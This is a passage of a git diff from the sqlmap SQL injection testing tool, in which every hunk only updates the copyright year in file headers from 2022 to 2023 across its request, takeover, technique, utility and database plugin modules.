-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/request/basicauthhandler.py b/lib/request/basicauthhandler.py
index 440e918dfb5..f7c8408d82e 100644
--- a/lib/request/basicauthhandler.py
+++ b/lib/request/basicauthhandler.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/request/chunkedhandler.py b/lib/request/chunkedhandler.py
index 51f80aee476..b27599329b4 100644
--- a/lib/request/chunkedhandler.py
+++ b/lib/request/chunkedhandler.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/request/comparison.py b/lib/request/comparison.py
index 261aacf1440..c703b2bb986 100644
--- a/lib/request/comparison.py
+++ b/lib/request/comparison.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/request/connect.py b/lib/request/connect.py
index 5c0a207aa38..ffc06ad9652 100644
--- a/lib/request/connect.py
+++ b/lib/request/connect.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/request/direct.py b/lib/request/direct.py
index bbd7619d1e1..e56d2fb25d9 100644
--- a/lib/request/direct.py
+++ b/lib/request/direct.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/request/dns.py b/lib/request/dns.py
index da126eb6e9f..92dfdc187c0 100644
--- a/lib/request/dns.py
+++ b/lib/request/dns.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/request/httpshandler.py b/lib/request/httpshandler.py
index d862d088560..c9676a9c4bb 100644
--- a/lib/request/httpshandler.py
+++ b/lib/request/httpshandler.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/request/inject.py b/lib/request/inject.py
index 7d584e8bebf..a5287831677 100644
--- a/lib/request/inject.py
+++ b/lib/request/inject.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/request/methodrequest.py b/lib/request/methodrequest.py
index 92dacdb5dc5..8535557b44f 100644
--- a/lib/request/methodrequest.py
+++ b/lib/request/methodrequest.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/request/pkihandler.py b/lib/request/pkihandler.py
index dc7dca40a5d..05a6ccf16aa 100644
--- a/lib/request/pkihandler.py
+++ b/lib/request/pkihandler.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/request/rangehandler.py b/lib/request/rangehandler.py
index 458c32ec2ba..ff0598cf06a 100644
--- a/lib/request/rangehandler.py
+++ b/lib/request/rangehandler.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/request/redirecthandler.py b/lib/request/redirecthandler.py
index 2e3c393f317..4920c561bf3 100644
--- a/lib/request/redirecthandler.py
+++ b/lib/request/redirecthandler.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/request/templates.py b/lib/request/templates.py
index d931e205891..bf673e2777b 100644
--- a/lib/request/templates.py
+++ b/lib/request/templates.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/takeover/__init__.py b/lib/takeover/__init__.py
index a5b83a8faa1..8476fab2f94 100644
--- a/lib/takeover/__init__.py
+++ b/lib/takeover/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/takeover/abstraction.py b/lib/takeover/abstraction.py
index bb2faf01e4a..52f43ddde84 100644
--- a/lib/takeover/abstraction.py
+++ b/lib/takeover/abstraction.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/takeover/icmpsh.py b/lib/takeover/icmpsh.py
index be87387bee7..679a4cd45cf 100644
--- a/lib/takeover/icmpsh.py
+++ b/lib/takeover/icmpsh.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/takeover/metasploit.py b/lib/takeover/metasploit.py
index b322fc44cfa..d4a8776b133 100644
--- a/lib/takeover/metasploit.py
+++ b/lib/takeover/metasploit.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/takeover/registry.py b/lib/takeover/registry.py
index e5dcc18c8fe..a63ec04a2d8 100644
--- a/lib/takeover/registry.py
+++ b/lib/takeover/registry.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/takeover/udf.py b/lib/takeover/udf.py
index d3b1a21c12d..4a53de31df4 100644
--- a/lib/takeover/udf.py
+++ b/lib/takeover/udf.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/takeover/web.py b/lib/takeover/web.py
index 93cb79f239a..95727407a0d 100644
--- a/lib/takeover/web.py
+++ b/lib/takeover/web.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/takeover/xp_cmdshell.py b/lib/takeover/xp_cmdshell.py
index 52fea7745f5..c81375a4508 100644
--- a/lib/takeover/xp_cmdshell.py
+++ b/lib/takeover/xp_cmdshell.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/techniques/__init__.py b/lib/techniques/__init__.py
index a5b83a8faa1..8476fab2f94 100644
--- a/lib/techniques/__init__.py
+++ b/lib/techniques/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/techniques/blind/__init__.py b/lib/techniques/blind/__init__.py
index a5b83a8faa1..8476fab2f94 100644
--- a/lib/techniques/blind/__init__.py
+++ b/lib/techniques/blind/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py
index 70bad65e077..d7353da7eb5 100644
--- a/lib/techniques/blind/inference.py
+++ b/lib/techniques/blind/inference.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/techniques/dns/__init__.py b/lib/techniques/dns/__init__.py
index a5b83a8faa1..8476fab2f94 100644
--- a/lib/techniques/dns/__init__.py
+++ b/lib/techniques/dns/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/techniques/dns/test.py b/lib/techniques/dns/test.py
index 7fe59ab60e1..c0c16679a65 100644
--- a/lib/techniques/dns/test.py
+++ b/lib/techniques/dns/test.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/techniques/dns/use.py b/lib/techniques/dns/use.py
index 5c9d09dc970..d2c474fdcc9 100644
--- a/lib/techniques/dns/use.py
+++ b/lib/techniques/dns/use.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/techniques/error/__init__.py b/lib/techniques/error/__init__.py
index a5b83a8faa1..8476fab2f94 100644
--- a/lib/techniques/error/__init__.py
+++ b/lib/techniques/error/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/techniques/error/use.py b/lib/techniques/error/use.py
index 078c04b4e5b..343733dd26c 100644
--- a/lib/techniques/error/use.py
+++ b/lib/techniques/error/use.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/techniques/union/__init__.py b/lib/techniques/union/__init__.py
index a5b83a8faa1..8476fab2f94 100644
--- a/lib/techniques/union/__init__.py
+++ b/lib/techniques/union/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/techniques/union/test.py b/lib/techniques/union/test.py
index 64b5be0aac9..c7a3f5948b0 100644
--- a/lib/techniques/union/test.py
+++ b/lib/techniques/union/test.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py
index 868cae4efaf..ef550d8da4f 100644
--- a/lib/techniques/union/use.py
+++ b/lib/techniques/union/use.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/utils/__init__.py b/lib/utils/__init__.py
index a5b83a8faa1..8476fab2f94 100644
--- a/lib/utils/__init__.py
+++ b/lib/utils/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/utils/api.py b/lib/utils/api.py
index 6fa8c0ab2a6..2a394f3821e 100644
--- a/lib/utils/api.py
+++ b/lib/utils/api.py
@@ -2,7 +2,7 @@
 # -*- coding: utf-8 -*-
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/utils/brute.py b/lib/utils/brute.py
index f9fe080894e..905e5d241ee 100644
--- a/lib/utils/brute.py
+++ b/lib/utils/brute.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/utils/crawler.py b/lib/utils/crawler.py
index 02151454198..2d907071312 100644
--- a/lib/utils/crawler.py
+++ b/lib/utils/crawler.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/utils/deps.py b/lib/utils/deps.py
index 846f2637f62..1d73022877d 100644
--- a/lib/utils/deps.py
+++ b/lib/utils/deps.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/utils/getch.py b/lib/utils/getch.py
index 5f0f61d57ff..347fd7e5365 100644
--- a/lib/utils/getch.py
+++ b/lib/utils/getch.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/utils/har.py b/lib/utils/har.py
index c7bbc6743ae..bcea7b001e3 100644
--- a/lib/utils/har.py
+++ b/lib/utils/har.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/utils/hash.py b/lib/utils/hash.py
index b716a54fae8..4a013338b4e 100644
--- a/lib/utils/hash.py
+++ b/lib/utils/hash.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/utils/hashdb.py b/lib/utils/hashdb.py
index 128720dd1c4..10cf2dcc99d 100644
--- a/lib/utils/hashdb.py
+++ b/lib/utils/hashdb.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/utils/httpd.py b/lib/utils/httpd.py
index 546cca4dea0..f5820a600cf 100644
--- a/lib/utils/httpd.py
+++ b/lib/utils/httpd.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/utils/pivotdumptable.py b/lib/utils/pivotdumptable.py
index a36ab80e8db..008a33c59a9 100644
--- a/lib/utils/pivotdumptable.py
+++ b/lib/utils/pivotdumptable.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/utils/progress.py b/lib/utils/progress.py
index 43aa2d0fcfd..9e906326ae3 100644
--- a/lib/utils/progress.py
+++ b/lib/utils/progress.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/utils/purge.py b/lib/utils/purge.py
index 3272614692b..e89895eba00 100644
--- a/lib/utils/purge.py
+++ b/lib/utils/purge.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/utils/safe2bin.py b/lib/utils/safe2bin.py
index 2d2ae4f2dda..15ba36965a9 100644
--- a/lib/utils/safe2bin.py
+++ b/lib/utils/safe2bin.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/utils/search.py b/lib/utils/search.py
index 2b4a12b979d..5ae11a10c63 100644
--- a/lib/utils/search.py
+++ b/lib/utils/search.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/utils/sqlalchemy.py b/lib/utils/sqlalchemy.py
index be67316d88a..a051756a184 100644
--- a/lib/utils/sqlalchemy.py
+++ b/lib/utils/sqlalchemy.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/utils/timeout.py b/lib/utils/timeout.py
index abafa2fe0b3..9551cfe5daf 100644
--- a/lib/utils/timeout.py
+++ b/lib/utils/timeout.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/utils/versioncheck.py b/lib/utils/versioncheck.py
index 59547f789f8..7dd85e1b389 100644
--- a/lib/utils/versioncheck.py
+++ b/lib/utils/versioncheck.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/utils/xrange.py b/lib/utils/xrange.py
index 3063ecf9ba9..d4065f00dab 100644
--- a/lib/utils/xrange.py
+++ b/lib/utils/xrange.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/__init__.py b/plugins/__init__.py
index a5b83a8faa1..8476fab2f94 100644
--- a/plugins/__init__.py
+++ b/plugins/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/__init__.py b/plugins/dbms/__init__.py
index a5b83a8faa1..8476fab2f94 100644
--- a/plugins/dbms/__init__.py
+++ b/plugins/dbms/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/access/__init__.py b/plugins/dbms/access/__init__.py
index f9b52a95194..37ec1e2b80f 100644
--- a/plugins/dbms/access/__init__.py
+++ b/plugins/dbms/access/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/access/connector.py b/plugins/dbms/access/connector.py
index 6359d422d74..492bc5d7e57 100644
--- a/plugins/dbms/access/connector.py
+++ b/plugins/dbms/access/connector.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/access/enumeration.py b/plugins/dbms/access/enumeration.py
index 04a050a429e..9d6484aa98e 100644
--- a/plugins/dbms/access/enumeration.py
+++ b/plugins/dbms/access/enumeration.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/access/filesystem.py b/plugins/dbms/access/filesystem.py
index 6204a4074e6..b272956f949 100644
--- a/plugins/dbms/access/filesystem.py
+++ b/plugins/dbms/access/filesystem.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/access/fingerprint.py b/plugins/dbms/access/fingerprint.py
index e1227bef556..c6226bfdfeb 100644
--- a/plugins/dbms/access/fingerprint.py
+++ b/plugins/dbms/access/fingerprint.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/access/syntax.py b/plugins/dbms/access/syntax.py
index 4ad9b1d5eb3..542f215d440 100644
--- a/plugins/dbms/access/syntax.py
+++ b/plugins/dbms/access/syntax.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/access/takeover.py b/plugins/dbms/access/takeover.py
index ab9fbb8084f..b2c52b490a0 100644
--- a/plugins/dbms/access/takeover.py
+++ b/plugins/dbms/access/takeover.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/altibase/__init__.py b/plugins/dbms/altibase/__init__.py
index 90d07eeb9b7..63ee1317691 100644
--- a/plugins/dbms/altibase/__init__.py
+++ b/plugins/dbms/altibase/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/altibase/connector.py b/plugins/dbms/altibase/connector.py
index 176f709b59d..e19ad4bfbf3 100644
--- a/plugins/dbms/altibase/connector.py
+++ b/plugins/dbms/altibase/connector.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/altibase/enumeration.py b/plugins/dbms/altibase/enumeration.py
index 0628c8eebf5..e565b49c4ca 100644
--- a/plugins/dbms/altibase/enumeration.py
+++ b/plugins/dbms/altibase/enumeration.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/altibase/filesystem.py b/plugins/dbms/altibase/filesystem.py
index 2ff16d48d0e..bf4d5c5bac7 100644
--- a/plugins/dbms/altibase/filesystem.py
+++ b/plugins/dbms/altibase/filesystem.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/altibase/fingerprint.py b/plugins/dbms/altibase/fingerprint.py
index fec86354f04..eb471a72433 100644
--- a/plugins/dbms/altibase/fingerprint.py
+++ b/plugins/dbms/altibase/fingerprint.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/altibase/syntax.py b/plugins/dbms/altibase/syntax.py
index 51d87d21225..b6b6c633dc8 100644
--- a/plugins/dbms/altibase/syntax.py
+++ b/plugins/dbms/altibase/syntax.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/altibase/takeover.py b/plugins/dbms/altibase/takeover.py
index 876c40a5571..6edc833ba4e 100644
--- a/plugins/dbms/altibase/takeover.py
+++ b/plugins/dbms/altibase/takeover.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/cache/__init__.py b/plugins/dbms/cache/__init__.py
index dbe98e32de4..f9409fbc762 100644
--- a/plugins/dbms/cache/__init__.py
+++ b/plugins/dbms/cache/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
